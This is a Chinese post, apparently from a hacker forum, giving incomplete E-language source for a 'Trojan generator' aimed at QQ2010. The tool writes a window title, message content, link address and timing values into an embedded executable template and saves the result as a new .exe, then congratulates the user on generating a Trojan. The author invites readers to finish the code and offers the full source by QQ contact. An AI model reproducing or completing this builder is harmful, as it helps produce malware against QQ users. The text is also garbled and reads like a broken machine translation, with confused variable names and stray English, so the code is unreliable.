源代碼如下(不完整版本,支持QQ2010,可直接復制到易語言自行完善):
=========================================================================
版本2
支持庫edroptarget
。裝配窗組件2
。匯編變量生成,字節集
。匯編變量窗口標題1,文本類型。
。程序集變量是冗余的整數類型。
。由匯編變量替換的文本,字節集
。匯編變量生成1,字節集。
。程序集變量內容1,文本類型
。程序集變量是冗余的1,整數類型。
。文本1被匯編變量替換,字節集
匯編變量生成壹個3字節的集合。
。程序集變量連接地址1,文本類型。
。程序集變量是冗余的3,整數類型。
。文本3被匯編變量替換,字節集
。匯編變量生成4個字節的集合。
。裝配變量停留時間1,文本類型。
程序集變量是多余的。4,整數型。
。文本4被匯編變量替換,字節集
。匯編變量生成壹組5字節。
。程序集變量間隔時間1,文本類型。
程序集變量是多余的。5,整數型。
文本5,字節集替換為。程序集變量。
。匯編變量m_pDIB,字節集,,,位圖數據。
。
子程序_無圖形_已創建
拖放對象1。註冊拖放控件(圖標路徑。獲取窗口句柄())
。子程序_特洛伊生成
窗口標題1 = "嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒嘀嗒。
冗余=取字節集長度(到字節集(窗口標題1))-取字節集長度(到字節集(窗口標題。內容))
將文本=替換為字節集(窗口標題。內容)+取空白字節集(冗余)
生成=字節集替換(#exe1,查找字節集(#exe1,到字節集(窗口標題1),),取文本長度(窗口標題1),替換文本)。
Content 1 = "啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊。
超出1 =取字節集長度(到字節集(內容1))-取字節集長度(到字節集(內容。內容))
將文本1 =替換為字節集(內容。內容)+取空白字節集(多余1)。
生成1 =字節集替換(生成,查找字節集(生成,到字節集(內容1),),取文本長度(內容1),替換文本1)。
常規對話框1。Type = 1
常規對話框1。Filter = "Windows可執行程序(*。exe)"
。如果為真(常規對話框1。Open())
。If(寫入文件(常規對話框1。文件名,生成1))
信息框(“祝賀妳成功的特洛伊馬壹代!”+#換行符+“作為壹個猥瑣的人,妳很成功”,#信息圖標,)
否則。
信息框(“生成失敗!”,#信息圖標,)
=========================================================================
如果沒有,可以聯系QQ1449971326獲取源代碼,自己研究。
=========================================================================
作者:任峰黑客QQ:1449971326